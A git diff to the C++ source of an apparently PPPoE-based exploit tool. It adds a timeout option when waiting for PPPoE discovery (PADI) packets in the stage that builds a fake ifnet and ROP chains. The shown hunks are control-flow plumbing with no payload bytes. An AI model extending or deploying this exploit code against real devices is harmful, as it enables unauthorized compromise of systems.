@@ -330,23 +330,27 @@ int Exploit::ipcp_negotiation() const {
330
330
return RETURN_SUCCESS;
331
331
}
332
332
333
- int Exploit::ppp_negotiation (const std::function<std::vector<uint8_t >(Exploit *)> &cb, bool ignore_initial_req) {
333
+ int Exploit::ppp_negotiation (const std::function<std::vector<uint8_t >(Exploit *)> &cb, bool ignore_initial_req,
334
+ bool always_wait_padi) {
334
335
int padi_count = ignore_initial_req ? 2 : 1 ;
335
336
336
337
Cookie pkt;
337
338
while (padi_count--) {
338
339
std::cout << " [*] Waiting for PADI..." << std::endl;
339
- dev->startCaptureBlockingMode (
340
+ if ( dev->startCaptureBlockingMode (
340
341
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
341
342
pcpp::Packet parsedPacket (packet, pcpp::PPPoEDiscovery);
342
343
auto *layer = PacketBuilder::getPPPoEDiscoveryLayer (parsedPacket,
343
344
pcpp::PPPoELayer::PPPOE_CODE_PADI);
344
345
if (!layer) return false ;
345
346
((Cookie *) cookie)->packet = parsedPacket;
346
347
return true ;
347
- }, &pkt, 0 );
348
+ }, &pkt, always_wait_padi ? 0 : this ->timeout ) != 1 ) {
349
+ return RETURN_FAIL;
350
+ } else if (!running) {
351
+ return RETURN_STOP;
352
+ }
348
353
}
349
- CHECK_RUNNING ();
350
354
351
355
auto *pppoeDiscoveryLayer = pkt.packet .getLayerOfType <pcpp::PPPoEDiscoveryLayer>();
352
356
if (!pppoeDiscoveryLayer) {
@@ -695,7 +699,7 @@ std::vector<uint8_t> Exploit::build_second_rop(Exploit *self) {
695
699
}
696
700
697
701
int Exploit::stage0 () {
698
- CHECK_RET (this ->ppp_negotiation (Exploit::build_fake_ifnet, this ->wait_padi ));
702
+ CHECK_RET (this ->ppp_negotiation (Exploit::build_fake_ifnet, this ->wait_padi , true ));
699
703
CHECK_RET (this ->lcp_negotiation ());
700
704
CHECK_RET (this ->ipcp_negotiation ());
701
705
0 commit comments